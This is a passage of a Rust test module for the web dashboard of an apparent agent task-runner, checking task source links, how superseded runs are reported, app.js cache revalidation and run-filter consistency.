17906 assert!(APP_JS.contains("Superseded by"));
17907 }
17908
17909 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
17910 let mut t = Task::new(
17911 "one task".to_owned(),
17912 "do it".to_owned(),
17913 PathBuf::from("/repo"),
17914 Source::Human,
17915 );
17916 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
17917 t.status = status;
17918 t
17919 }
17920
17921 #[test]
17922 fn source_link_picks_the_page_that_filed_the_task() {
17923 let agent = |node: &str| Source::Agent {
17924 run: "20260904-014455-ab12".to_owned(),
17925 node: node.to_owned(),
17926 };
17927 let chat = source_link(&agent("chat")).expect("chat link");
17928 assert_eq!(chat.kind, "chat");
17929 assert_eq!(chat.id, "20260904-014455-ab12");
17930 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
17931 let run = source_link(&agent("implement")).expect("run link");
17932 assert_eq!(
17933 (run.kind, run.href.as_str()),
17934 ("run", "#/runs/20260904-014455-ab12")
17935 );
17936 assert_eq!(source_link(&Source::Human), None);
17937 assert_eq!(
17938 source_link(&Source::Issue {
17939 number: 3,
17940 repo: "o/r".to_owned()
17941 }),
17942 None
17943 );
17944 let odd = source_link(&Source::Agent {
17945 run: "a b/c".to_owned(),
17946 node: "chat".to_owned(),
17947 })
17948 .expect("link");
17949 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
17950 }
17951
17952 #[test]
17953 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
17954 assert!(
17955 !APP_JS.contains("src.node === \"chat\""),
17956 "inline href rule is back"
17957 );
17958 assert!(
17959 APP_JS.matches("sourceLinkOf(").count() >= 4,
17960 "helper must serve every page"
17961 );
17962 assert!(
17963 APP_JS.matches("openChatLink(").count() >= 3,
17964 "the run page still needs its explicit chat link"
17965 );
17966 assert!(
17967 !APP_JS.contains("const openChat = el("),
17968 "the Queue card duplicates its source label link again"
17969 );
17970 assert!(
17971 APP_JS.contains("metaKids.push(link ? el(\"a\""),
17972 "the task page must link a chat source label too"
17973 );
17974 }
17975
17976 #[test]
17977 fn task_ref_carries_the_source_link_for_a_chat_task() {
17978 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
17979 t.source = Source::Agent {
17980 run: "20260904-014455-ab12".to_owned(),
17981 node: "chat".to_owned(),
17982 };
17983 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
17984 let v = serde_json::to_value(&out).expect("json");
17985 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
17986 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
17987 assert_eq!(v["source_label"], t.source.label());
17988
17989 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
17990 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
17991 .expect("json");
17992 assert!(v["source_link"].is_null(), "{v}");
17993 }
17994
17995 #[test]
17996 fn task_view_serializes_source_link() {
17997 let mut t = Task::new(
17998 "t".to_owned(),
17999 "t".to_owned(),
18000 PathBuf::from("/repo"),
18001 Source::Agent {
18002 run: "20260901-000000-aaaa".to_owned(),
18003 node: "implement".to_owned(),
18004 },
18005 );
18006 t.runs.clear();
18007 let v = serde_json::to_value(TaskView::from(t)).expect("json");
18008 assert_eq!(v["source_link"]["kind"], "run", "{v}");
18009 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
18010 }
18011
18012 #[tokio::test]
18013 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
18014 let fx = Fixture::start().await;
18015 let runs = fx.runs();
18016 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
18017 write_run(&runs, old, RunStatus::Blocked);
18018 write_run(&runs, new, RunStatus::Merged);
18019 let mut t = outcome_task(&[old, new], TaskStatus::Done);
18020 fx.queue().put(&mut t).expect("put");
18021
18022 let view = fx.get(&format!("/api/runs/{old}")).await.json();
18023 let task = &view["task"];
18024 assert_eq!(task["status"], "done");
18025 assert_eq!(task["is_latest"], false);
18026 assert_eq!(task["latest"]["short"], "bbbb");
18027 assert_eq!(task["finished_by"]["id"], new);
18028 assert_eq!(task["finished_by"]["outcome"], "merged");
18029 assert_eq!(task["closed_by_hand"], false);
18030 assert_eq!(view["status"], "blocked", "the run keeps its own status");
18031 assert!(APP_JS.contains("finished_by"));
18032 assert!(APP_JS.contains("superseded by run"));
18033 }
18034
18035 #[tokio::test]
18036 async fn the_latest_run_reports_a_held_task_without_a_successor() {
18037 let fx = Fixture::start().await;
18038 let runs = fx.runs();
18039 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
18040 write_run(&runs, old, RunStatus::Stalled);
18041 write_run(&runs, new, RunStatus::Blocked);
18042 let mut t = outcome_task(&[old, new], TaskStatus::Held);
18043 fx.queue().put(&mut t).expect("put");
18044
18045 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
18046 assert_eq!(task["status"], "held");
18047 assert_eq!(task["is_latest"], true);
18048 assert!(task["latest"].is_null());
18049 assert!(task["finished_by"].is_null());
18050 assert_eq!(task["closed_by_hand"], false);
18051 }
18052
18053 #[tokio::test]
18054 async fn a_direct_run_has_no_task_outcome() {
18055 let fx = Fixture::start().await;
18056 let runs = fx.runs();
18057 let id = "20260901-000000-aaaa";
18058 write_run(&runs, id, RunStatus::Blocked);
18059 let view = fx.get(&format!("/api/runs/{id}")).await.json();
18060 assert!(view["task"].is_null());
18061 }
18062
18063 #[test]
18064 fn task_outcome_does_not_guess_a_finishing_run() {
18065 let a = "20260901-000000-aaaa";
18066 let b = "20260901-000000-bbbb";
18067 let c = "20260901-000000-cccc";
18068 let dir = tempfile::tempdir().expect("tempdir");
18069 write_run(dir.path(), a, RunStatus::Blocked);
18070 write_run(dir.path(), b, RunStatus::VerifiedNoop);
18071 let read = |id: &str| read_run(dir.path(), id).ok();
18073 let t = outcome_task(&[a, b, c], TaskStatus::Done);
18076 let out = task_outcome(&t, a, 3, read);
18077 assert!(out.finished_by.is_none());
18078 assert!(out.closed_by_hand);
18079 let latest = out.latest.expect("latest");
18080 assert_eq!(latest.id, c);
18081 assert_eq!(latest.status, None);
18082 assert_eq!(latest.outcome, "record unreadable");
18083
18084 write_run(dir.path(), c, RunStatus::Ready);
18086 let t = outcome_task(&[a, c], TaskStatus::Done);
18087 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
18088 assert_eq!(out.finished_by.expect("finisher").id, c);
18089 assert!(!out.closed_by_hand);
18090
18091 let t = outcome_task(&[a, b, a], TaskStatus::Held);
18093 assert!(task_outcome(&t, a, 3, read).is_latest);
18094 }
18095
18096 #[tokio::test]
18097 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
18098 let fx = Fixture::start().await;
18103 let q = fx.queue();
18104 let runs = fx.runs();
18105 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
18106 write_run(&runs, first, RunStatus::Blocked);
18107 write_run(&runs, second, RunStatus::Merged);
18108
18109 let mut t = Task::new(
18110 "one task".to_owned(),
18111 "do it".to_owned(),
18112 PathBuf::from("/repo"),
18113 Source::Human,
18114 );
18115 t.runs = vec![first.to_owned(), second.to_owned()];
18116 q.put(&mut t).expect("put");
18117
18118 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
18119 assert_eq!(earlier["superseded_by"], "dddd");
18120 assert_eq!(earlier["latest_attempt"]["id"], second);
18121 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
18122 assert_eq!(
18123 earlier["latest_attempt"]["resolved"], true,
18124 "the run that replaced it landed, so this one reads as settled"
18125 );
18126
18127 let later = fx.get(&format!("/api/runs/{second}")).await.json();
18128 assert!(
18129 later["superseded_by"].is_null(),
18130 "the latest attempt is not superseded by anything"
18131 );
18132 assert!(
18133 later["latest_attempt"].is_null(),
18134 "the latest attempt has no later attempt of its own"
18135 );
18136
18137 assert!(APP_JS.contains("run.latest_attempt"));
18144 assert!(APP_JS.contains("data-superseded"));
18145 assert!(APP_JS.contains("#/runs/${latest.id}"));
18146 }
18147
18148 #[tokio::test]
18149 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
18150 let fx = Fixture::start().await;
18156 let q = fx.queue();
18157 let runs = fx.runs();
18158 let (a, b, c) = (
18159 "20260901-000000-aaaa",
18160 "20260901-000000-bbbb",
18161 "20260901-000000-cccc",
18162 );
18163 write_run(&runs, a, RunStatus::Blocked);
18164 write_run(&runs, b, RunStatus::Blocked);
18165 write_run(&runs, c, RunStatus::Merged);
18166
18167 let mut t = Task::new(
18168 "retried twice".to_owned(),
18169 "do it".to_owned(),
18170 PathBuf::from("/repo"),
18171 Source::Human,
18172 );
18173 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
18174 q.put(&mut t).expect("put");
18175
18176 let view = fx.get(&format!("/api/runs/{a}")).await.json();
18177 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
18178 assert_eq!(
18179 view["latest_attempt"]["id"], c,
18180 "the chain's current head, not the intermediate Blocked retry"
18181 );
18182 assert_eq!(view["latest_attempt"]["resolved"], true);
18183
18184 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
18185 assert_eq!(mid["latest_attempt"]["id"], c);
18186 assert_eq!(mid["latest_attempt"]["resolved"], true);
18187 }
18188
18189 #[tokio::test]
18190 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
18191 let fx = Fixture::start().await;
18192 let q = fx.queue();
18193 let runs = fx.runs();
18194
18195 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
18198 write_run(&runs, still_blocked_a, RunStatus::Blocked);
18199 write_run(&runs, still_blocked_b, RunStatus::Blocked);
18200 let mut t1 = Task::new(
18201 "still stuck".to_owned(),
18202 "do it".to_owned(),
18203 PathBuf::from("/repo"),
18204 Source::Human,
18205 );
18206 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
18207 q.put(&mut t1).expect("put");
18208 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
18209 assert_eq!(view1["latest_attempt"]["resolved"], false);
18210 assert_eq!(view1["latest_attempt"]["status"], "blocked");
18211 assert_eq!(view1["latest_attempt"]["done"], true);
18212
18213 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
18215 write_run(&runs, run_a, RunStatus::Blocked);
18216 write_run(&runs, run_b, RunStatus::Implementing);
18217 let mut t3 = Task::new(
18218 "retrying".to_owned(),
18219 "do it".to_owned(),
18220 PathBuf::from("/repo"),
18221 Source::Human,
18222 );
18223 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
18224 q.put(&mut t3).expect("put");
18225 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
18226 assert_eq!(view3["latest_attempt"]["id"], run_b);
18227 assert_eq!(view3["latest_attempt"]["resolved"], false);
18228 assert_eq!(view3["latest_attempt"]["done"], false);
18229
18230 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
18235 write_run(&runs, noop_a, RunStatus::Blocked);
18236 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
18237 let mut t2 = Task::new(
18238 "claims done".to_owned(),
18239 "do it".to_owned(),
18240 PathBuf::from("/repo"),
18241 Source::Human,
18242 );
18243 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
18244 q.put(&mut t2).expect("put");
18245 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
18246 assert_eq!(
18247 view2["latest_attempt"]["resolved"], false,
18248 "an unverified no-op claim must not read as a confirmed finish"
18249 );
18250
18251 assert!(APP_JS.contains("latest.resolved"));
18254 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
18257 assert!(APP_JS.contains("Latest attempt: "));
18258 assert!(APP_JS.contains("in flight"));
18259 assert!(APP_JS.contains("not resolved"));
18260 }
18261
18262 #[tokio::test]
18263 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
18264 let fx = Fixture::start().await;
18265 let js = fx.get("/app.js").await;
18271 assert_eq!(js.status, 200);
18272 let tag = js
18273 .header("etag")
18274 .expect("an etag to revalidate against")
18275 .to_owned();
18276 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
18277 assert_eq!(
18278 js.header("cache-control"),
18279 Some("no-cache, must-revalidate"),
18280 "the phone has to ask every time"
18281 );
18282
18283 let again = fx
18286 .get_with("/app.js", &[("if-none-match", tag.as_str())])
18287 .await;
18288 assert_eq!(
18289 again.status, 304,
18290 "a deck it already has costs one round trip"
18291 );
18292 assert!(again.body.is_empty(), "304 carries no body");
18293
18294 let weak = fx
18297 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
18298 .await;
18299 assert_eq!(weak.status, 304);
18300 let stale = fx
18301 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
18302 .await;
18303 assert_eq!(stale.status, 200, "an older build must be replaced");
18304 assert!(stale.body.contains("renderRunActions"));
18305 }
18306
18307 #[test]
18308 fn the_task_detail_has_an_actions_fab_and_sheet() {
18309 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
18310 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
18311 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
18312 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
18314 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
18315 assert!(APP_JS.contains("renderTaskActions(task);"));
18317 assert!(APP_JS.contains("renderTaskActions(null);"));
18318 let sheet = APP_JS
18320 .find("function renderTaskActions")
18321 .expect("sheet renderer");
18322 let body = &APP_JS[sheet..sheet + 3000];
18323 assert!(body.contains("changePriority("));
18324 assert!(body.contains("openTaskEdit(task)"));
18325 assert!(body.contains("renderTaskHoldBox(host"));
18326 assert!(body.contains("renderTaskDoneBox(host"));
18327 assert!(body.contains("renderTaskDeleteBox(host"));
18328 assert!(APP_JS.contains("API.priority(id)"));
18329 assert!(APP_JS.contains("API.deleteTask(id)"));
18330 assert!(APP_JS.contains("location.hash = \"#/queue\""));
18332 assert!(APP_JS.contains("$(\"task-actions-error\")"));
18334 }
18335
18336 #[test]
18337 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
18338 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
18339 let actions = INDEX_HTML
18340 .find("id=\"run-actions-box\"")
18341 .expect("actions box");
18342 assert!(task < actions, "the task entry comes first in the sheet");
18343 assert!(APP_JS.contains("renderRunTaskEntry"));
18344 assert!(APP_JS.contains("\"Open task \""));
18345 assert!(APP_JS.contains("started directly, no task"));
18347 assert!(APP_JS.contains("sheet-task-link"));
18348 assert!(APP_JS.contains("task-chip-link"));
18349 }
18350
18351 #[test]
18352 fn the_deck_never_sends_the_operator_to_a_terminal() {
18353 assert!(
18356 !APP_JS.contains("Run `magi fold` first"),
18357 "the deck must offer the fold, not prescribe a shell command"
18358 );
18359 assert!(APP_JS.contains("foldRun:"));
18360 assert!(APP_JS.contains("resumeRun:"));
18361 assert!(APP_JS.contains("renderRunActions"));
18362
18363 assert!(APP_JS.contains("armedFold"));
18365 assert!(APP_JS.contains("Yes, fold worktrees"));
18366
18367 assert!(APP_JS.contains("can no longer be resumed"));
18370 }
18371
18372 #[test]
18373 fn a_finished_run_explains_itself_with_its_own_last_line() {
18374 assert!(
18380 !APP_JS.contains("collapsed on agent quota"),
18381 "a stall must not be explained by a cause the deck did not check"
18382 );
18383 assert!(
18384 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
18385 "and a block must not offer a guess with an `or` in it"
18386 );
18387
18388 assert!(
18392 APP_JS.contains("setText(r.event, run.event || \"\")"),
18393 "the run's last line is rendered unconditionally"
18394 );
18395 assert!(
18396 !APP_JS.contains("moving && run.event"),
18397 "and never gated on the run still moving"
18398 );
18399
18400 assert!(APP_JS.contains("lost to quota"));
18402 }
18403
18404 #[test]
18426 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
18427 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
18428 let shapes_body_start =
18429 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
18430 let shapes_close = APP_JS[shapes_body_start..]
18431 .find("].map(")
18432 .expect("the shape list is closed by its done-computing .map(...)")
18433 + shapes_body_start;
18434 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
18435
18436 let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
18437 for entry in shapes_src.split('{').skip(1) {
18438 let waiting = entry.contains("waiting: true");
18439 let dead = entry.contains("live: \"dead\"");
18440 let status_at =
18441 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
18442 let status_end = entry[status_at..]
18443 .find('"')
18444 .expect("the status string is closed")
18445 + status_at;
18446 let parked = entry.contains("display_status: \"parked\"");
18447 shapes.push((
18448 waiting,
18449 entry[status_at..status_end].to_string(),
18450 dead,
18451 parked,
18452 ));
18453 }
18454 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
18455
18456 let done_rule_marker = "done: !";
18460 let done_rule_at = APP_JS[shapes_close..]
18461 .find(done_rule_marker)
18462 .expect("the done rule follows the shape list")
18463 + shapes_close
18464 + done_rule_marker.len();
18465 let includes_at = APP_JS[done_rule_at..]
18466 .find(".includes(shape.status)")
18467 .expect("the done rule ends in .includes(shape.status)")
18468 + done_rule_at;
18469 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
18470 .trim()
18471 .trim_start_matches('[')
18472 .trim_end_matches(']')
18473 .split(',')
18474 .map(|s| s.trim().trim_matches('"'))
18475 .filter(|s| !s.is_empty())
18476 .collect();
18477
18478 let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
18479 .into_iter()
18480 .map(|(waiting, status, dead, parked)| {
18481 let done = !not_done.contains(&status.as_str());
18482 (waiting, status, dead, parked, done)
18483 })
18484 .collect();
18485
18486 fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
18490 if waiting {
18491 return "waiting";
18492 }
18493 if dead
18494 && !parked
18495 && !matches!(
18496 status,
18497 "merged"
18498 | "ready"
18499 | "stalled"
18500 | "blocked"
18501 | "failed"
18502 | "verified_noop"
18503 | "superseded"
18504 | "already_in_base"
18505 )
18506 {
18507 return "stale";
18508 }
18509 match status {
18510 "merged" | "ready" => "landed",
18511 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
18512 | "already_in_base" => "ended",
18513 _ => "flight",
18514 }
18515 }
18516
18517 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
18520 match filter_key {
18521 "active" => !done,
18522 "flight" => !done && !waiting && !dead,
18523 "stale" => !done && !waiting && dead,
18524 "waiting" => waiting,
18525 "done" => done,
18526 "all" => true,
18527 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
18528 }
18529 }
18530
18531 let compatible = |section: &str, filter_key: &str| {
18532 shapes.iter().any(|(waiting, status, dead, parked, done)| {
18533 run_section(*waiting, status, *dead, *parked) == section
18534 && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
18535 })
18536 };
18537
18538 let expected = [
18543 ("waiting", [true, false, false, true, true, true]),
18544 ("stale", [true, false, true, false, false, true]),
18545 ("flight", [true, true, false, false, false, true]),
18546 ("landed", [false, false, false, false, true, true]),
18547 ("ended", [false, false, false, false, true, true]),
18548 ];
18549 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
18550
18551 for (section, wants) in expected {
18552 for (filter_key, want) in filter_keys.iter().zip(wants) {
18553 assert_eq!(
18554 compatible(section, filter_key),
18555 want,
18556 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
18557 );
18558 }
18559 }
18560
18561 assert!(
18564 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
18565 );
18566 assert!(APP_JS.contains(
18567 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
18568 ));
18569 assert!(APP_JS.contains(
18570 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
18571 ));
18572 }
18573
18574 #[tokio::test]
18575 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
18576 let dir = tempfile::tempdir().expect("tempdir");
18580 let explicit = dir.path().join("not-a-checkout");
18581 std::fs::create_dir_all(&explicit).expect("create dir");
18582 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
18583
18584 let missing = dir.path().join("does-not-exist-at-all");
18585 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
18586 }
18587
18588 #[test]
18589 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
18590 assert!(APP_JS.contains("function statsDonutArcs"));
18591 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
18592 assert!(APP_JS.contains("function statusInBucket"));
18594 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
18595 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
18596 let buckets = [
18597 "merged",
18598 "ready",
18599 "in_progress",
18600 "blocked",
18601 "failed",
18602 "verified_noop",
18603 "superseded",
18604 "stalled",
18605 ];
18606 for key in buckets {
18607 let var = format!("--verdict-{key}:");
18608 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
18610 assert!(
18611 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
18612 "{key}"
18613 );
18614 }
18615 }
18616}